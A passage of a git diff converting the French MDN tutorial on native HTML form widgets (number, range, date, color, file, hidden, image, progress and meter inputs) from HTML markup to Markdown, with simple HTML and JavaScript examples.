constituée que de données de type caractère, alors que dans un élément {{HTMLElement("button")}}, l'étiquette peut être mise sous HTML, de sorte qu'elle peut être mise en forme en conséquence.</p> +Techniquement parlant, il n'y a pratiquement pas de différence entre un bouton défini avec l'élément {{HTMLElement("button")}} ou l'élément {{HTMLElement("input")}}. La seule différence à noter réside dans l'étiquette du bouton lui-même. Dans un élément {{HTMLElement("input")}}, l'étiquette ne peut être constituée que de données de type caractère, alors que dans un élément {{HTMLElement("button")}}, l'étiquette peut être mise sous HTML, de sorte qu'elle peut être mise en forme en conséquence. -<h2 id="Widgets_de_formulaires_avancés">Widgets de formulaires avancés</h2> +## Widgets de formulaires avancés -<p>Ces widgets sont des contrôles permettant l'utilisateur de saisir des données plus complexes ou moins habituelles, comme des nombres exacts ou approchés, des dates et heures ainsi que des couleurs.</p> +Ces widgets sont des contrôles permettant l'utilisateur de saisir des données plus complexes ou moins habituelles, comme des nombres exacts ou approchés, des dates et heures ainsi que des couleurs. -<h3 id="Nombres">Nombres</h3> +### Nombres -<p>On crée un widget pour nombres avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>number</code>. Ce contrôle ressemble à un champ texte mais il n'accepte que des chiffres en virgule flottante, et propose habituellement des boutons pour augmenter ou réduire la valeur dans le widget.</p> +On crée un widget pour nombres avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `number`. Ce contrôle ressemble à un champ texte mais il n'accepte que des chiffres en virgule flottante, et propose habituellement des boutons pour augmenter ou réduire la valeur dans le widget. -<p>Il est aussi possible de :</p> +Il est aussi possible de : -<ul> - <li>contraindre la valeur en définissant les attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.</li> - <li>définir l'incrément de modification de la valeur du widget à l'aide des boutons ad‑hoc en précisant l'attribut {{htmlattrxref("step","input")}}.</li> -</ul> +- contraindre la valeur en définissant les attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}. +- définir l'incrément de modification de la valeur du widget à l'aide des boutons ad‑hoc en précisant l'attribut {{htmlattrxref("step","input")}}. -<h4 id="Exemple">Exemple</h4> +#### Exemple -<pre class="brush: html"> <input type="number" name="age" id="age" min="1" max="10" step="2"></pre> +```html + <input type="number" name="age" id="age" min="1" max="10" step="2"> +``` -<p>Ceci créé un widget pour un nombre dont la valeur est comprise entre 1 et 10 et dont les boutons d'incrémentation/décrémentation modifient la valeur par pas de 2.</p> +Ceci créé un widget pour un nombre dont la valeur est comprise entre 1 et 10 et dont les boutons d'incrémentation/décrémentation modifient la valeur par pas de 2. -<h3 id="Curseurs">Curseurs</h3> +### Curseurs -<p>Le curseur est une autre manière de sélectionner un nombre. Comme, visuellement parlant, les curseurs sont moins précis qu'un champ textuel, ils sont utilisés pour retenir un nombre dont la précision de valeur n'est pas primordiale.</p> +Le curseur est une autre manière de sélectionner un nombre. Comme, visuellement parlant, les curseurs sont moins précis qu'un champ textuel, ils sont utilisés pour retenir un nombre dont la précision de valeur n'est pas primordiale. -<p>Un curseur se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>range</code>. Il est important de configurer convenablement le curseur. À cet effet, il est fortement recommandé de définir les attributs {{htmlattrxref("min","input")}}, {{htmlattrxref("max","input")}} et {{htmlattrxref("step","input")}}.</p> +Un curseur se crée avec l'élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `range`. Il est important de configurer convenablement le curseur. À cet effet, il est fortement recommandé de définir les attributs {{htmlattrxref("min","input")}}, {{htmlattrxref("max","input")}} et {{htmlattrxref("step","input")}}. -<h4 id="Exemple_2">Exemple</h4> +#### Exemple -<pre class="brush: html"><input type="range" name="beans" id="beans" min="0" max="500" step="10"></pre> +```html +<input type="range" name="beans" id="beans" min="0" max="500" step="10"> +``` -<p>Cet exemple créé un curseur dont les valeurs varient entre 0 et 500, et dont les bouton d'incrément/décrément font varier la valeur de ±10.</p> +Cet exemple créé un curseur dont les valeurs varient entre 0 et 500, et dont les bouton d'incrément/décrément font varier la valeur de ±10. -<p>Un problème avec les curseurs est qu'il n'offrent aucun moyen visue de savoir quelle est leur valeur courante. Il est nécessaire d'ajouter cela vous‑même à l'aide de JavaScript, mais c'est assez facile. Dans cet exemple nous ajoutons un élément {{htmlelement("span")}} dans lequel nous écrivons la valeur courante du curseur et la mettons à jour quand elle est modifiée.</p> +Un problème avec les curseurs est qu'il n'offrent aucun moyen visue de savoir quelle est leur valeur courante. Il est nécessaire d'ajouter cela vous‑même à l'aide de JavaScript, mais c'est assez facile. Dans cet exemple nous ajoutons un élément {{htmlelement("span")}} dans lequel nous écrivons la valeur courante du curseur et la mettons à jour quand elle est modifiée. -<pre class="brush: html"><label for="beans">Combien de haricots pouvez‑vous manger ?</label> -<input type="range" name="beans" id="beans" min="0" max="500" step="10"> -<span class="beancount"></span></pre> +```html +<label for="beans">Combien de haricots pouvez‑vous manger ?</label> +<input type="range" name="beans" id="beans" min="0" max="500" step="10"> +<span class="beancount"></span> +``` -<p>et en JavaScript :</p> +et en JavaScript : -<pre class="brush: js">var beans = document.querySelector('#beans'); +```js +var beans = document.querySelector('#beans'); var count = document.querySelector('.beancount'); count.textContent = beans.value; beans.oninput = function() { count.textContent = beans.value; -}</pre> +} +``` -<p>Ici nous stockons dans deux variables les références du curseur et celle de <code>span</code>, puis nous réglons immédiatement le <code><a href="/fr/docs/Web/API/Node/textContent">textContent</a></code> de <code>span</code> à la valeur courante <code>value</code> de l'entrée. Enfin, nous avons mis en place un gestionnaire d'événements oninput de sorte que chaque fois que le curseur de plage est déplacé, le <code>textContent</code> de <code>span</code> est mis à jour avec la nouvelle valeur de l'entrée.</p> +Ici nous stockons dans deux variables les références du curseur et celle de `span`, puis nous réglons immédiatement le [`textContent`](/fr/docs/Web/API/Node/textContent) de `span` à la valeur courante `value` de l'entrée. Enfin, nous avons mis en place un gestionnaire d'événements oninput de sorte que chaque fois que le curseur de plage est déplacé, le `textContent` de `span` est mis à jour avec la nouvelle valeur de l'entrée. -<p>L'attribut <code>range</code> pour <code>input</code> n'est pas pris en charge dans les versions d'Internet Explorer dont le numéro est inférieur à 10.</p> +L'attribut `range` pour `input` n'est pas pris en charge dans les versions d'Internet Explorer dont le numéro est inférieur à 10. -<h3 id="Sélection_de_date_et_heure">Sélection de date et heure</h3> +### Sélection de date et heure -<p>Recueillir des données de date et heure a traditionnellement toujours été un cauchemar pour les développeurs web. HTML5 ajoute des améliorations en ajoutant un contrôle qui permet de manipuler ce type de données.</p> +Recueillir des données de date et heure a traditionnellement toujours été un cauchemar pour les développeurs web. HTML5 ajoute des améliorations en ajoutant un contrôle qui permet de manipuler ce type de données. -<p>Un contrôle de sélection de date et heure se crée avec l'élément {{HTMLElement("input")}} et une valeur appropriée de l'attribut {{htmlattrxref("type","input")}} selon que vous voulez recueillir des dates, des heures ou les deux.</p> +Un contrôle de sélection de date et heure se crée avec l'élément {{HTMLElement("input")}} et une valeur appropriée de l'attribut {{htmlattrxref("type","input")}} selon que vous voulez recueillir des dates, des heures ou les deux. -<h4 id="datetime-local"><code>datetime-local</code></h4> +#### `datetime-local` -<p>Cette valeur d'attribut créé un widget pour afficher et sélectionner une date et une heure quelque soit le fuseau horaire.</p> +Cette valeur d'attribut créé un widget pour afficher et sélectionner une date et une heure quelque soit le fuseau horaire. -<pre class="brush: html"><input type="datetime-local" name="datetime" id="datetime"></pre> +```html +<input type="datetime-local" name="datetime" id="datetime"> +``` -<h4 id="month"><code>month</code></h4> +#### `month` -<p>Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois dans une année donnée.</p> +Cette valeur d'attribut créé un widget pour afficher et sélectionner un mois dans une année donnée. -<pre class="brush: html"><input type="month" name="month" id="month"></pre> +```html +<input type="month" name="month" id="month"> +``` -<h4 id="time"><code>time</code></h4> +#### `time` -<p>Cette valeur d'attribut créé un widget pour afficher et sélectionner un horaire.</p> +Cette valeur d'attribut créé un widget pour afficher et sélectionner un horaire. -<pre class="brush: html"><input type="time" name="time" id="time"></pre> +```html +<input type="time" name="time" id="time"> +``` -<h4 id="week"><code>week</code></h4> +#### `week` -<p>Cette valeur d'attribut crée un widget pour afficher et sélectionner une semaine et l'année correspondante.</p> +Cette valeur d'attribut crée un widget pour afficher et sélectionner une semaine et l'année correspondante. -<pre class="brush: html"><input type="week" name="week" id="week"></pre> +```html +<input type="week" name="week" id="week"> +``` -<p>Tous les contrôles de sélection de date et heure peuvent être contraints à l'aide des attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}.</p> +Tous les contrôles de sélection de date et heure peuvent être contraints à l'aide des attributs {{htmlattrxref("min","input")}} et {{htmlattrxref("max","input")}}. -<pre class="brush: html"> <label for="maDate">Quand êtes vous disponible cet été ?</label> - <input type="date" min="2013-06-01" max="2013-08-31" id="maDate"></pre> +```html + <label for="maDate">Quand êtes vous disponible cet été ?</label> + <input type="date" min="2013-06-01" max="2013-08-31" id="maDate"> +``` -<div class="warning"> - <p><strong>Attention :</strong> Les widgets de date et heure sont encore peu pris en charge. Au moment de la rédaction de cet article, Chrome, Edge et Opera les prennent bien en charge, mais il n'y a pas de prise en charge dans Internet Explorer et Firefox et Safari n'ont qu'une prise en charge lacunaire de ces derniers.</p> -</div> +> **Attention :** Les widgets de date et heure sont encore peu pris en charge. Au moment de la rédaction de cet article, Chrome, Edge et Opera les prennent bien en charge, mais il n'y a pas de prise en charge dans Internet Explorer et Firefox et Safari n'ont qu'une prise en charge lacunaire de ces derniers. -<h3 id="Sélecteur_de_couleur">Sélecteur de couleur</h3> +### Sélecteur de couleur -<p>Les couleurs sont toujours compliquées à manier. Il existe plusieurs façons de les exprimer : valeurs RGB (décimale ou hexadécimale), valeurs HSL, mots-clés, etc. Les widgets de sélection de couleur permettent aux utilisateurs de sélectionner une couleur dans un contexte textuel et visuel.</p> +Les couleurs sont toujours compliquées à manier. Il existe plusieurs façons de les exprimer : valeurs RGB (décimale ou hexadécimale), valeurs HSL, mots-clés, etc. Les widgets de sélection de couleur permettent aux utilisateurs de sélectionner une couleur dans un contexte textuel et visuel. -<p>Un widget de sélection de couleur se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>color</code>.</p> +Un widget de sélection de couleur se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `color`. -<pre class="brush: html"><input type="color" name="color" id="color"></pre> +```html +<input type="color" name="color" id="color"> +``` -<p>Attention : la prise en charge du widget <code>color</code> n'est pas très bonne actuellement. Il n'y a aucune prise en charge dans Internet Explorer, ni actuellement dans Safari. Les autres navigateurs majeurs le prennent en charge.</p> +Attention : la prise en charge du widget `color` n'est pas très bonne actuellement. Il n'y a aucune prise en charge dans Internet Explorer, ni actuellement dans Safari. Les autres navigateurs majeurs le prennent en charge. -<h2 id="Autres_widgets">Autres widgets</h2> +## Autres widgets -<p>Il existe d'autres types de widgets qui ne peuvent pas être classés facilement à cause de leur comportement très particulier, mais qui sont toujours très utiles.</p> +Il existe d'autres types de widgets qui ne peuvent pas être classés facilement à cause de leur comportement très particulier, mais qui sont toujours très utiles. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez les exemples de cette section sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/other-examples.html">other-examples.html</a> (à voir aussi<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/other-examples.html"> directement</a>).</p> -</div> +> **Note :** Vous trouverez les exemples de cette section sur GitHub à l'adresse [other-examples.html](https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/other-examples.html) (à voir aussi[ directement](https://mdn.github.io/learning-area/html/forms/native-form-widgets/other-examples.html)). -<h3 id="Sélection_de_fichier_2">Sélection de fichier</h3> +### Sélection de fichier -<p>Les formulaires HTML permettent d'envoyer des fichiers à un serveur. Cette action spécifique est détaillée dans l'article « <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires" title="/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi et extraction des données de formulaire</a> ». Le widget de sélection de fichier permet à l'utilisateur de choisir un ou plusieurs fichiers à envoyer.</p> +Les formulaires HTML permettent d'envoyer des fichiers à un serveur. Cette action spécifique est détaillée dans l'article « [Envoi et extraction des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires "/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires") ». Le widget de sélection de fichier permet à l'utilisateur de choisir un ou plusieurs fichiers à envoyer. -<p>Pour créer un widget de sélection de fichier, vous devez utiliser un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>file</code>. Les types de fichiers acceptés peuvent être contraints en utilisant l'attribut {{htmlattrxref("accept","input")}}. De plus, si vous souhaitez permettre à l'utilisateur de choisir plusieurs fichiers, vous pouvez le faire en ajoutant l'attribut {{htmlattrxref("multiple","input")}}.</p> +Pour créer un widget de sélection de fichier, vous devez utiliser un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `file`. Les types de fichiers acceptés peuvent être contraints en utilisant l'attribut {{htmlattrxref("accept","input")}}. De plus, si vous souhaitez permettre à l'utilisateur de choisir plusieurs fichiers, vous pouvez le faire en ajoutant l'attribut {{htmlattrxref("multiple","input")}}. -<h4 id="Exemple_3">Exemple</h4> +#### Exemple -<p>Dans cet exemple, le widget de sélection de fichiers permet de sélectionner des fichiers d'images. L'utilisateur peut sélectionner plusieurs fichiers.</p> +Dans cet exemple, le widget de sélection de fichiers permet de sélectionner des fichiers d'images. L'utilisateur peut sélectionner plusieurs fichiers. -<pre class="brush: html"><input type="file" name="file" id="file" accept="image/*" multiple></pre> +```html +<input type="file" name="file" id="file" accept="image/*" multiple> +``` -<h3 id="Contenu_caché">Contenu caché</h3> +### Contenu caché -<p>Il est parfois pratique pour des raisons techniques d'avoir des morceaux d'informations qui soient envoyés au serveur sans être montrées à l'utilisateur. Pour ce faire, vous pouvez ajouter un élément invisible dans votre formulaire. Cela est possible en utilisant un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>hidden</code>.</p> +Il est parfois pratique pour des raisons techniques d'avoir des morceaux d'informations qui soient envoyés au serveur sans être montrées à l'utilisateur. Pour ce faire, vous pouvez ajouter un élément invisible dans votre formulaire. Cela est possible en utilisant un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `hidden`. -<p>Si vous créez un tel élément, il est obligatoire de définir ses attributs <code>name</code> et <code>value</code> :</p> +Si vous créez un tel élément, il est obligatoire de définir ses attributs `name` et `value` : -<pre class="brush: html"> <input type="hidden" id="timestamp" name="timestamp" value="1286705410"></pre> +```html + <input type="hidden" id="timestamp" name="timestamp" value="1286705410"> +``` -<h3 id="Image-bouton">Image-bouton</h3> +### Image-bouton -<p>Le contrôle <strong>image-bouton</strong> est affiché comme un élément {{HTMLElement("img")}}, à la différence que lorsque l'utilisateur clique dessus, il se comporte comme un bouton d'envoi (voir ci-dessus).</p> +Le contrôle **image-bouton** est affiché comme un élément {{HTMLElement("img")}}, à la différence que lorsque l'utilisateur clique dessus, il se comporte comme un bouton d'envoi (voir ci-dessus). -<p>Une image-bouton se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur <code>image</code>. Cet élément accepte exactement le même ensemble d'attributs que l'élément {{HTMLElement("img")}}, en plus de tous les attributs valides pour n'importe quel bouton de formulaire.</p> +Une image-bouton se crée avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type","input")}} a pour valeur `image`. Cet élément accepte exactement le même ensemble d'attributs que l'élément {{HTMLElement("img")}}, en plus de tous les attributs valides pour n'importe quel bouton de formulaire. -<pre class="brush: html"> <input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /></pre> +```html + <input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /> +``` -<p>Si l'image-bouton est utilisée pour envoyer un formulaire, ce widget n'envoie pas sa valeur mais les coordonnées X et Y du clic sur l'image (les coordonnées sont relatives à l'image, ce qui veut dire que le coin supérieur gauche représente les coordonnées 0, 0). Les coordonnées sont envoyées sous la forme de deux paires de clé/valeur :</p> +Si l'image-bouton est utilisée pour envoyer un formulaire, ce widget n'envoie pas sa valeur mais les coordonnées X et Y du clic sur l'image (les coordonnées sont relatives à l'image, ce qui veut dire que le coin supérieur gauche représente les coordonnées 0, 0). Les coordonnées sont envoyées sous la forme de deux paires de clé/valeur : -<ul> - <li>la valeur X est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « <em>.x</em> »</li> - <li>la valeur Y est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « <em>.y</em> ».</li> -</ul> +- la valeur X est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « *.x* » +- la valeur Y est la valeur de l'attribut {{htmlattrxref("name","input")}} suivie de la chaîne « *.y* ». -<p>Lorsque vous cliquez sur l'image dans ce formulaire, vous êtes redirigés une URL du type suivant :</p> +Lorsque vous cliquez sur l'image dans ce formulaire, vous êtes redirigés une URL du type suivant : -<pre> http://foo.com?pos.x=123&pos.y=456</pre> + http://foo.com?pos.x=123&pos.y=456 -<p>C'est une façon très commode de construire une « hot map » (cartographie des parties d'une page Internet le plus souvent balayées par le regard des lecteurs). La manière d'envoyer et d'extraire ces valeurs est détaillée dans l'article « <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires" title="/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a> ».</p> +C'est une façon très commode de construire une « hot map » (cartographie des parties d'une page Internet le plus souvent balayées par le regard des lecteurs). La manière d'envoyer et d'extraire ces valeurs est détaillée dans l'article « [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires "/fr/docs/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires") ». -<h3 id="Compteurs_et_barres_de_progression">Compteurs et barres de progression</h3> +### Compteurs et barres de progression -<p>Les compteurs et barres de progressions sont des représentations visuelles de valeurs numériques.</p> +Les compteurs et barres de progressions sont des représentations visuelles de valeurs numériques. -<h4 id="Progress">Progress</h4> +#### Progress -<p>Une barre de progression représente une valeur qui évolue dans le temps jusqu'à une valeur maximale définie par l'attribut {{htmlattrxref("max","progress")}}. Une telle barre peut être créée grace à un élément {{ HTMLElement("progress")}}.</p> +Une barre de progression représente une valeur qui évolue dans le temps jusqu'à une valeur maximale définie par l'attribut {{htmlattrxref("max","progress")}}. Une telle barre peut être créée grace à un élément {{ HTMLElement("progress")}}. -<pre class="brush: html"> <progress max="100" value="75">75/100</progress></pre> +```html + <progress max="100" value="75">75/100</progress> +``` -<p>Cela sert à mettre en œuvre visuellement un rapport d'avancement, comme le pourcentage du nombre total de fichiers téléchargés ou le nombre de questions posées dans un questionnaire.</p> +Cela sert à mettre en œuvre visuellement un rapport d'avancement, comme le pourcentage du nombre total de fichiers téléchargés ou le nombre de questions posées dans un questionnaire. -<p>Le contenu dans l'élément {{HTMLElement("progress")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent ce contenu.</p> +Le contenu dans l'élément {{HTMLElement("progress")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent ce contenu. -<h4 id="Meter">Meter</h4> +#### Meter -<p>Un étalon est une valeur fixe dans une plage délimitée par une valeur minimale {{htmlattrxref("min","meter")}} et une valeur maximale {{htmlattrxref("max","meter")}}. Cette valeur est affichée dans une barre, et pour savoir à quoi cette barre ressemble, nous comparons certaines valeurs :</p> +Un étalon est une valeur fixe dans une plage délimitée par une valeur minimale {{htmlattrxref("min","meter")}} et une valeur maximale {{htmlattrxref("max","meter")}}. Cette valeur est affichée dans une barre, et pour savoir à quoi cette barre ressemble, nous comparons certaines valeurs : -<ul> - <li>les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} divisent l'intervalle en trois parties : - <ul> - <li>la partie basse de l'intervalle est comprise entre les valeurs {{htmlattrxref("min","meter")}} et {{htmlattrxref("low","meter")}} (les deux valeurs sont incluses)</li> - <li>la partie médiane de l'intervalle est comprise entre les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} (les deux valeurs sont exclues)</li> - <li>la partie haute de l'intervalle est comprise entre les valeurs {{htmlattrxref("high","meter")}} et {{htmlattrxref("max","meter")}} (les deux valeurs sont incluses)</li> - </ul> - </li> - <li>La valeur {{htmlattrxref("optimum","meter")}} définit la valeur optimale pour l'élément {{HTMLElement("meter")}}. En conjonction avec les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}}, elle définit quelle partie de la plage est préféré : - <ul> - <li>Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie basse de l'intervalle, la partie basse est considérée comme la partie préférée, la partie médiane est considérée comme la partie moyenne et la partie haute comme la moins favorable.</li> - <li>Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie médiane, la partie basse est considérée comme la partie moyenne, la partie médiane comme la partie préférée et la partie haute comme moyenne également.</li> - <li>Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie haute, la partie basse est considérée comme la moins favorable, la partie médiane comme moyenne et la partie haute comme la partie préférée.</li> - </ul> - </li> -</ul> +- les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} divisent l'intervalle en trois parties : + + - la partie basse de l'intervalle est comprise entre les valeurs {{htmlattrxref("min","meter")}} et {{htmlattrxref("low","meter")}} (les deux valeurs sont incluses) + - la partie médiane de l'intervalle est comprise entre les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}} (les deux valeurs sont exclues) + - la partie haute de l'intervalle est comprise entre les valeurs {{htmlattrxref("high","meter")}} et {{htmlattrxref("max","meter")}} (les deux valeurs sont incluses) + +- La valeur {{htmlattrxref("optimum","meter")}} définit la valeur optimale pour l'élément {{HTMLElement("meter")}}. En conjonction avec les valeurs {{htmlattrxref("low","meter")}} et {{htmlattrxref("high","meter")}}, elle définit quelle partie de la plage est préféré : + + - Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie basse de l'intervalle, la partie basse est considérée comme la partie préférée, la partie médiane est considérée comme la partie moyenne et la partie haute comme la moins favorable. + - Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie médiane, la partie basse est considérée comme la partie moyenne, la partie médiane comme la partie préférée et la partie haute comme moyenne également. + - Si la valeur {{htmlattrxref("optimum","meter")}} est dans la partie haute, la partie basse est considérée comme la moins favorable, la partie médiane comme moyenne et la partie haute comme la partie préférée. -<p>Tous les navigateurs compatibles avec l'élément {{HTMLElement("meter")}} utilisent ces valeurs pour modifier la couleur de la barre :</p> +Tous les navigateurs compatibles avec l'élément {{HTMLElement("meter")}} utilisent ces valeurs pour modifier la couleur de la barre : -<ul> - <li>Si la valeur actuelle est dans la partie préférée, la barre est verte.</li> - <li>Si la valeur actuelle est dans la partie moyenne, la barre est jaune.</li> - <li>Si la valeut actuelle est dans la partie la moins favorable, la barre est rouge.</li> -</ul> +- Si la valeur actuelle est dans la partie préférée, la barre est verte. +- Si la valeur actuelle est dans la partie moyenne, la barre est jaune. +- Si la valeut actuelle est dans la partie la moins favorable, la barre est rouge. -<p>Une telle barre se crée avec un élément {{HTMLElement("meter")}}. Cela permet d'implémenter toute sorte d'étalonnage, par exemple une barre montrant l'espace total utilisé sur un disque, qui devient rouge si le disque commence à être plein.</p> +Une telle barre se crée avec un élément {{HTMLElement("meter")}}. Cela permet d'implémenter toute sorte d'étalonnage, par exemple une barre montrant l'espace total utilisé sur un disque, qui devient rouge si le disque commence à être plein. -<pre class="brush: html"><meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter></pre> +```html +<meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter> +``` -<p>Le contenu de l'élément {{HTMLElement("meter")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent cet affichage.</p> +Le contenu de l'élément {{HTMLElement("meter")}} est un affichage informatif de repli pour les navigateurs ne prenant pas en charge cet élément ; les technologies d'assistance vocalisent cet affichage. -<p>La prise en charge de <code>progress</code> et <code>meter</code> est vraiment bonne — il n'y a pas de prise en charge dans Internet Explorer, mais les autres navigateurs l'acceptent bien.</p> +La prise en charge de `progress` et `meter` est vraiment bonne — il n'y a pas de prise en charge dans Internet Explorer, mais les autres navigateurs l'acceptent bien. -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Comme nous venons de le voir, il y a pas mal d'éléments de formulaire différents disponibles — il n'est pas nécessaire de mémoriser l'ensemble de ces détails dès maintenant, mais vous pourrez revenir à cet article tant que vous le voudrez pour revoir tel ou tel détail.</p> +Comme nous venons de le voir, il y a pas mal d'éléments de formulaire différents disponibles — il n'est pas nécessaire de mémoriser l'ensemble de ces détails dès maintenant, mais vous pourrez revenir à cet article tant que vous le voudrez pour revoir tel ou tel détail. -<h2 id="Voir_également">Voir également</h2> +## Voir également -<p>Pour entrer plus en détails des différents widgets de formulaires, voici quelques ressources externes très utiles que vous pouvez visiter :</p> +Pour entrer plus en détails des différents widgets de formulaires, voici quelques ressources externes très utiles que vous pouvez visiter : -<ul> - <li><a href="http://wufoo.com/html5/" rel="external">L'état actuelle des formulaires HTML5</a> par Wufoo (en anglais)</li> - <li><a href="http://www.quirksmode.org/html5/inputs.html" rel="external">Tests HTML5 - inputs</a> sur Quirksmode (en anglais) (et <a href="http://www.quirksmode.org/html5/inputs_mobile.html" rel="external">pour les navigateurs mobiles</a>)</li> -</ul> +- [L'état actuelle des formulaires HTML5](http://wufoo.com/html5/) par Wufoo (en anglais) +- [Tests HTML5 - inputs](http://www.quirksmode.org/html5/inputs.html) sur Quirksmode (en anglais) (et [pour les navigateurs mobiles](http://www.quirksmode.org/html5/inputs_mobile.html)) -<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}</p> +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li> - <li>Les widgets natifs pour formulaire</li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) +- Les widgets natifs pour formulaire +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- [Mise en forme des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) diff --git a/files/fr/learn/forms/form_validation/index.md b/files/fr/learn/forms/form_validation/index.md index b95ce27d09..6709ff5102 100644 --- a/files/fr/learn/forms/form_validation/index.md +++ b/files/fr/learn/forms/form_validation/index.md @@ -4,230 